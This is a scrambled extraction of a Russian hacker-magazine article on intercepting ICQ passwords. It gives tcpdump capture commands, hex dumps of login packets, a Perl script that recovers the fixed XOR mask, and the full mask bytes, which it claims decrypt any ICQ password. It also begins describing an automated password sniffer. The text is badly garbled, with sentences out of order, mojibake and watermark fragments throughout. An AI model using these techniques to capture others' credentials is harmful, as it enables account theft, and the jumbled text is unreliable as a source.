
 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

источников поступила информация

о том, что всеми любимая аська

имеет до-

Из достоверных

-

 

 

 

 

 

 

 

 

 

вольно

дырявую схему аутентификации

и подключения к

серверу

 

 

 

 

-

 

 

 

 

общения, таких как MSN (.NET) Messenger

и Yahoo! Messenger, использую

грамм для быстрого

 

 

 

 

 

 

 

 

проверки пароля по контрольным

суммам, в ICQ пароли передаются

 

щих алгоритм MD5 для

 

 

сетевых маньяков? Ответ

 

 

ýòî ó÷èò

молодых хулиганствующих

 

 

 

 

 

 

 

 

. ×åìó

 

 

 

 

-

÷óòü ëè

не в открытую

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-информация передается при каждом подключении

к централь

прост: пользуясь

òåì,

что логин

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

занимающийся

автоматическим

"выкусыванием" паро

íîìó

серваку, можно написать снифер,

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Об этом и пойдет сегодняшний разговор

 

 

 

 

 

 

ля из сетевого трафика

 

 

.org.ua

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Константин Клягин http://konst

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Логично

Чтобы достичь нашей цели, будет вполне достаточно

разобрать логин-пакет

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

. Чтобы расшиф

предположить, что только он и содержит нужное нам поле - пароль

-

 

 

 

 

 

-клиентом

нам понадобит

 

 

 

 

-нибудь ICQ

 

 

 

 

 

ровать структуру

такого пакета, наряду с каким

 

 

инструментов, с такой

 

для этих целей есть масса навороченных

ся снифер. Конечно,

 

 

страниц. Нам это не

 

 

 

 

 

 

же неслабой

процедурой инсталляции и мануалом на пару сотен

 

 

 

 

 

 

 

 

 

ни на есть стандарт-

. Зачем? Ведь для данной задачи сгодится самый что

 

 

-

подходит

 

 

 

 

 

 

 

 

 

ный, бытовой tcpdump. Утилита эта входит почти в каждый

дистрибутив Linux и име

 

 

 

 

.

ет достаточное количество всевозможных

параметров, управляющих ее поведением

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-пакеты

 

 

 

 

 

 

 

 

Снифим ICQ

 

юниксом (у меня Linux) и виндовая машина

 

Итак, имеется:

роутер под каким-нибудь

 

 

 

 

 

 

 

 

 

 

 

 

. Настоящие сетевые

 

с ICQ. Впрочем, совсем не

обязательно иметь два разных

компа

 

 

 

íà êî-

 

 

 

 

 

 

 

 

 

 

 

 

эмулятор компьютера,

 

хулиганы по достоинству

оценили VMWare - фактически

 

 

 

 

 

 

 

 

любую ОС. Так вот, здесь имеется ин-

 

тором "в окошке" можно запустить практически

 

 

 

 

 

 

Îáå

системы общаются по вир-

 

сталляция Linux, в ней запущен VMWare

ñ Windows 98.

 

 

 

 

 

 

 

через Linux - как раз то, что нужно.

 

туальной TCP/IP сети, да и весь трафик проходит

 

 

 

 

 

 

 

 

 

 

 

 

 

Запускаем tcpdump из-под root:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.int' | less

# tcpdump -X -s 65535 -i any -l 'dst host login.icq.com

&& src host vasya.ournet

 

 

 

 

 

 

 

 

 

 

 

 

 

Все это значит,

что снифер будет выводить пакеты целиком

(-s 65535 - максимальная

 

сетевой интерфейс - лю-

 

 

 

 

 

 

не заморачиваться,

длина), вместе с дампом hex (-X). Чтобы

 

 

фильтр для

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Последний

параметр - логическое выражение, определяющее

 

 

-

áîé (-i any)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

отображаемых пакетов. В

нашем случае оно означает "показывать

трафик, предназ

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.int". Последнее -

èìÿ ìàøè

 

 

 

 

 

 

icq.com, идущий от vasya.ournet

 

 

 

 

 

 

 

 

наченный

машине login.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всего это-

. Можно поставить не хост, а просто IP-адрес. При незнании

 

 

 

 

 

íû ñ Windows

 

 

 

 

 

 

 

 

 

 

 

 

-клиентов

 

в Сети больше нет, часть

ãî

и полной уверенности

в том, что никаких ICQ

 

 

 

 

 

 

 

 

 

 

 

 

 

. С помощью "| less" (или "| more") будем смо-

аргументов после "&&" можно опустить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Что же мы увидим?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

треть вывод

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.aol.com.5190:

S

 

 

 

 

 

 

 

 

.int.1057

>

 

 

 

 

 

-vip-m.blue

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ibucp

 

 

 

 

 

 

 

 

12:37:11.598962 vasya.ournet

 

 

 

 

 

 

 

 

 

 

(DF)

 

 

 

 

 

19249:619249(0) win 8192 <mss 1460,nop,nop,sackOK>

 

 

 

 

 

 

 

 

 

 

 

 

 

0x0000

4500 0030 e600 4000 8006 9db6 c0a8

ae02

 

 

 

E..0..@.........

 

 

 

 

0000

 

 

 

@..Y.!.F..r.....

 

 

 

 

0x0010

400c c859 0421

1446

0009 72f1 0000

 

 

 

 

 

 

 

 

0402

 

 

p...`...........

 

 

 

 

0x0020

7002 2000 60ad 0000 0204 05b4 0101

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.aol.com.5190: . ack

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-vip-m.blue

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.int.1057 > ibucp

 

 

 

 

 

 

 

 

 

 

 

 

 

12:37:11.978903 vasya.ournet

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3835389642 win 9520 (DF)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0x0000

4500 0028 e700

4000

8006 9cbe c0a8

ae02

 

 

E..(..@.........

 

 

 

 

66ca

 

 

@..Y.!.F..r...f.

 

 

 

 

0x0010

400c c859 0421 1446 0009 72f2 e49b

 

 

 

 

 

 

 

 

 

 

P.%0<.........

 

 

 

 

0x0020 5010 2530 3ccb 0000 0000 0000 0000

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.aol.com.5190: P 0:138(138)

 

 

 

 

 

 

 

.int.1057 > ibucp-vip-m.blue

 

 

 

 

 

 

12:37:12.242904 vasya.ournet

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ack 11 win 9510 (DF)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0x0000

4500 00b2 e800 4000 8006 9b34 c0a8

 

ae02

 

E.....@....4....

 

 

 

 

 

 

66d4

 

@..Y.!.F..r...f.

 

 

 

 

 

0x0010

400c c859 0421 1446 0009 72f2 e49b

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P.%&....*.k.....

 

 

 

 

0x0020

5018 2526 f4f1 0000 2a01

6bd0

0084 0000

 

.

 

 

 

 

 

 

 

 

3800

 

 

 

 

 

 

0x0030

0001 0001 0009 3235 3139 3832 3637

 

......251982678

 

 

 

 

 

 

 

 

 

 

 

 

....^.......3ICQ

 

 

 

 

 

0x0040

0200 068b 5ef9 f50b b500 0300 3349

4351

 

.

 

 

 

 

 

7420

 

 

 

 

 

 

0x0050 2049 6e63 2e20 2d20 5072 6f64 7563

 

.Inc..-.Product

 

 

 

 

 

 

3030

 

.2000

 

 

 

0x0060 6f66 2049 4351 2028 544d 292e 3230

 

of.ICQ.(TM)

.85

 

 

 

 

3835

 

 

 

 

0x0070

 

622e 342e 3630 2e31 2e33 3237 382e

 

b.4.60.1.3278

 

 

 

 

 

 

 

0002

................

 

 

 

 

 

0x0080

 

0016 0002 010a 0017 0002 0004 0018

 

 

 

 

 

 

 

 

0014

.<..............

 

 

 

 

 

0x0090

 

003c 0019 0002 0001 001a 0002 0cce

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.....U....en....

 

 

 

 

 

0x00a0

 

0004 0000 0055 000f 0002 656e 000e

 

0002

 

 

 

 

 

0x00b0

 

7573

 

 

 

 

 

 

 

 

us

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, внимание! Последний блок данных

содержит UIN (251982678)

в виде обычного

 

 

 

 

 

 

 

 

 

 

 

 

 

находится и уникальная

. Íà

руку нам играет тот факт, что внутри логин-пакета

 

 

 

 

 

 

текста

 

 

- " .. Product of ICQ (TM) ..". Ïî ýòîé

сигнатуре мы сможем отлавливать па-

сигнатура

 

 

 

 

 

 

 

 

 

 

 

 

 

кеты в автоматическом

режиме. Но где же пароль?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Èäåì â ICQ -> Security &

Отключим настройку

для запоминания пароля в "аське"

 

 

"Save", вводим

 

 

 

галочку с "Save password". Нажимаем

Privacy

-> Password и убираем

 

 

 

-

верный

пароль

- программа

зачем-то его спрашивает при изменении

настроек. По

 

 

 

 

 

 

неправильными паролями, не забывая на-

 

 

 

 

 

 

 

 

 

 

 

сле чего пытаемся залогиниться с разными

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

блюдать за трафиком.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вот пакет с паролем "abcd":

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0x0000 4500 00b0 fc00 4000 8006 adf6 c0a8

ae02

E.....@.........

 

 

 

 

 

 

 

9483

@....$.F...F....

 

 

0x0010

400c a199 0424 1446

0011 b946 0d8a

 

 

 

 

 

 

P.%&....*.r.....

 

 

 

0x0020

5018

2526 9df2 0000 2a01 72b3 0082

0000

.

 

 

 

 

3800

 

 

 

 

 

 

0x0030

0001

0001 0009 3235

3139 3832 3637

 

......251982678

 

 

2049

 

 

 

I

 

 

 

0x0040

0200

0492 44e2 a000

0300 3349 4351

 

....D.....3ICQ.

 

 

 

6f66

-.Product.of

 

 

0x0050

6e63

2e20 2d20 5072

6f64 7563 7420

 

nc..

 

 

 

 

.

 

 

 

 

622e

 

 

 

 

 

 

0x0060

2049

4351 2028 544d

292e 3230 3030

 

.ICQ.(TM).2000b

 

 

0016

 

 

 

.85..

 

0x0070

342e

3630 2e31 2e33

3237 382e 3835

 

4.60.1.3278

 

 

 

 

 

003c

 

 

<

 

 

 

0x0080

0002

010a 0017 0002

0004 0018 0002

 

...............

 

 

 

 

 

0004

................

 

 

 

 

0x0090

0019 0002 0001 001a

0002 0cce 0014

 

 

 

 

 

 

 

 

 

 

us

 

 

 

0x00a0

0000 0055 000f 0002 656e 000e 0002

 

7573

...U....en....

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

À âîò - "123":

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0x0000

4500 0028 0601 4000

 

8006 7dbe c0a8

ae02

E..(..@...}.....

.

 

 

 

25e8

 

 

 

 

 

 

0x0010

400c c859 0427 1446

 

001b 367c 4530

 

@..Y.'.F..6|E0%

 

 

 

 

E.....@...|7....

 

 

 

0x0000

4500 00af 0701 4000 8006 7c37 c0a8

 

ae02

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

25f2

 

Y.'.F..6|E0%

 

0x0010

400c c859 0427 1446 001b 367c 4530

@..

 

 

 

 

 

 

 

 

 

 

 

 

 

82

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

0x0020

5018 2526

11d0 0000 2a01 7aa9 0081 0000

P.%&....*.z.....

0x0030

 

 

 

0001 0001 0009 3235 3139 3832 3637 3800

......

0x0040

0200 03c2

 

14b2 0003 0033 4943 5120 496e

251982678.

 

.........3ICQ.In

0x0050

 

 

 

632e 202d 2050 726f 6475 6374 206f 6620

c..-.

0x0060

4943 5120 2854 4d29

2e32 3030

3062 2e34

Product.of.

ICQ.(TM).2000b.4

0x0070

2e36

302e

312e 3332

3738

2e38

3500 1600

.60.1.3278.85...

0x0080

0201

0a00

 

 

1700 0200 0400

1800

0200 3c00

..............<.

0x0090

1900 0200

0100 1a00 020c ce00 1400 0400

................

0x00a0

 

 

0000 5500 0f00 0265 6e00 0e00 0275 73

..U

 

 

 

 

 

 

 

 

....en....us

За исключением мелких различий в

начале

пакета,

основная изменяющаяся

часть следует за

 

 

 

 

 

 

 

 

 

 

 

(UIN). К тому же, только она имеет

 

 

 

 

 

номером клиента

различную

длину в собранных примерах

 

 

 

 

 

 

 

 

 

ответствующие куски:

 

 

для разных паролей. Смотрим внимательнее на со-

 

 

 

 

 

 

 

 

 

 

 

 

0x0030

0001 0001 0009 3235 3139 3832 3637 3800

......

 

 

 

 

0x0040

0200

068b 5ef9 f50b b500 0300 3349 4351

251982678.

....^.......3ICQ

 

 

 

 

 

 

 

 

0x0030

0001 0001 0009 3235 3139 3832 3637 3800

......

 

 

 

 

0x0040

0200 0492

44e2 a000 0300 3349 4351 2049

251982678.

....D.....3ICQ.I

 

 

 

 

 

 

 

0x0030

0001 0001 0009 3235 3139 3832 3637 3800

......

 

 

 

 

0x0040

0200 03c2

14b2 0003 0033 4943 5120 496e

251982678.

.........3ICQ.In

 

 

 

 

 

 

 

Строке с номером UIN

предшествует ее длина

- девятка. Заканчивается строка

 

 

 

 

 

 

нулем. Верится, что пароль

 

 

 

 

 

же. И действительно - правиль-

íûé åãî

 

 

 

 

выглядит точно так

вариант - "xxx123" имеет

 

 

 

 

 

 

 

 

ре. Четверка во втором

равна

 

 

длину 6 байт, что мы и видим в первом приме-

длине

строки "abcd", а в блоке из последнего при-

 

 

 

 

 

 

 

мера фигурирует тройка, потому

 

 

 

 

 

 

 

 

Наблюдаемая картина

 

 

 

что тогда мы пытались войти с паролем "123".

называется защитой "от

дурака". Пароль передается в

"слегка"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зашифрованном виде, дабы его не было видно просто так с

помощью

снифера. Есть информация, что

применяемый метод - банальный xor

þùåå

 

 

 

 

 

 

 

 

(исключа-

 

"или"). Следует проверить, так ли это на самом деле.

 

 

 

Проверка

на тип шифрования

Вспомним, что

исключающее "или" - полностью

обратимая операция (читай об

этом статью

 

 

 

 

 

 

 

 

 

 

 

 

"Криптография в С++" в этом же номере), поэтому, если

"a xor b =

c", òî "a xor c = b" è "c xor b =

 

 

 

 

 

 

 

 

(a xor b = b xor a).

 

 

 

a". Порядок параметров тоже не имеет значения

 

 

 

 

Шифровать таким способом пароли - то еще извращение, по-

скольку он приводится

 

 

 

 

любом детском учебнике криптографии как

 

 

 

 

 

практически в

самый простой пример.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

XOR имеется в

любом

языке, но

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

раз уж мы работаем в

UNIX и не хотим морочить

BUY

 

 

 

себе голову

компиляцией,

 

 

 

 

 

 

 

 

линковкой и прочими

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ненужными на

 

 

 

 

 

 

 

 

 

 

 

 

 

операциями, выберем

оптимальный набор

 

 

 

 

данный момент

 

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

инструментов. Возьмем Perl иw Click

 

 

 

 

 

 

o

 

øåì íà íåì

небольшую

программку.

 

 

 

 

 

 

 

 

íàïè-

 

 

 

 

 

 

 

Она будет

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

 

 

выяснять

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

число xor

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

в каждой позиции из примера с

 

 

 

 

 

 

 

 

 

для символа-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

и пытаться с его помо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

самым длинным паролем

 

 

 

 

 

 

 

 

щью расшифровать остальные два.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#!/usr/bin/perl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$pass1 =

"\x8b\x5e\xf9\xf5\x0b\xb5";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$rightpass1 = "xxx123";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$pass2 = "\x92\x44\xe2\xa0";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$rightpass2

=

"";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$pass3 = "\xc2\x14\xb2";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$rightpass3

=

"";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$xorseq = "";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for($i = 0; $i < length($pass1); $i++) {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$n = ord(substr($pass1,

$i, 1)) ^

ord(substr($rightpass1,

$i, 1));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$xorseq .= chr($n);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(length($rightpass2) < length($pass2))

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

$rightpass2 .= chr(ord(substr($pass2, $i, 1)) ^ $n);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(length($rightpass3) < length($pass3))

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

$rightpass3 .= chr(ord(substr($pass3, $i, 1)) ^ $n);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print

"rightpass2

=

$rightpass2\n";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print

"rightpass3

=

$rightpass3\n";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print "xor sequence: ";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for($i = 0; $i < length($xorseq); $i++) {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

printf "\\x%x", ord(substr($xorseq, $i, 1));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print "\n";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

BUY

 

 

d

 

Кодинг

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

ПЕРЕХВАТ ICQ ПАРОЛЕЙ

Константин Клягин http://konst.org.ua

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

 

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Разбор

полетов

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

w Click

 

 

 

 

 

 

 

o

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

к анализу сетевого

трафика мож

 

.

 

 

 

 

 

 

 

 

 

 

 

счету продемонстрированный

подход

 

 

 

p

d

 

 

 

 

 

 

 

e

 

По большому

С помощью подобных надстроек

 

 

 

f-

x

h

 

g

 

 

.

 

 

 

 

 

 

 

 

 

 

 

по отношению к любому протоколу

 

 

 

 

 

 

 

 

 

 

c an

 

 

 

но применить

 

контакты, шифровки, явки и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не только пароли, но и

сообщения,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можно отлавливать

 

это правильное ре-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

квартир. Все, о чем нужно

позаботиться,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

адреса конспиративных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-условие для tcpdump.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гулярное выражение и параметр

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Не забудем записать текст программы

в файл и выполнить "chmod +x <имя файла>",

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чтобы в итоге дать права для его запуска

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Вот вывод:

Все верно, пароли шифруются при помощи

XOR с одной и той же маской

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

rightpass2 = abcd

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

rightpass3 = 123

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xor sequence: \xf3\x26\x81\xc4\x39\x86

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-зависимые числа, используе

Такой

финт ушами позволил нам выяснить позиционно

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Для расшифровки паролей лю

мые для операции xor с шестью

первыми символами

логин-пакет,

содержащий

âîñü-

 

 

 

 

 

 

 

 

 

 

íà

бой длины, вплоть до максимальной, посмотрим

 

.

 

 

 

больше

 

 

 

 

 

мисимвольный

пароль (ICQ для Windows не дает вводить

восьми символов)

 

 

 

 

(переменная

 

 

 

схеме, подставим

åãî

â

текст программы

Следуя уже привычной

 

 

 

 

 

 

 

вариант - в

 

 

 

 

 

 

. Итог - последовательность байт

$pass1), а расшифрованный

$rightpass1

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

. Зная ее, можно легко расшифровать

любой ICQ

"\xf3\x26\x81\xc4\x39\x86\xdb\x92"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пароль. Знание - сила

:).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

паролей

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Собственно и сам снифер ICQ-

 

 

 

 

 

Обычно написание какого-то специфического

снифера, особенно в первый раз - за-

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

. Ведь прежде всего нужно разобраться в системных

вызовах, пред

нятие

не из легких

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Затем написать

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

набор функ

назначенных для управления сетевыми интерфейсами

 

 

 

 

 

 

 

-

öèé äëÿ

вычитывания

проходящего

трафика, фильтруя при этом только нужные паке

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

. Можно взять библиотеку libpcap

и начать разбирать

ты по определенным признакам

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

. Такой подход

может испортить все впечатление от снифин

ся с ней. Тот еще напряг

 

 

 

 

 

 

 

 

 

 

 

íà

неопределенное

время. Поэтому

га как такового и растянуть процесс написания

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мы поступим несколько иначе.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Взамен

предлагается

 

использовать знакомый стандартный

и удобный инстру-

 

функции для пере-

 

 

 

 

 

 

 

в себе все необходимые

мент - tcpdump, который содержит

. Äåëî â òîì, ÷òî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Нам даже не придется копаться в его исходниках

 

 

 

 

 

хвата трафика

 

 

 

 

 

 

 

 

 

 

 

командной строки

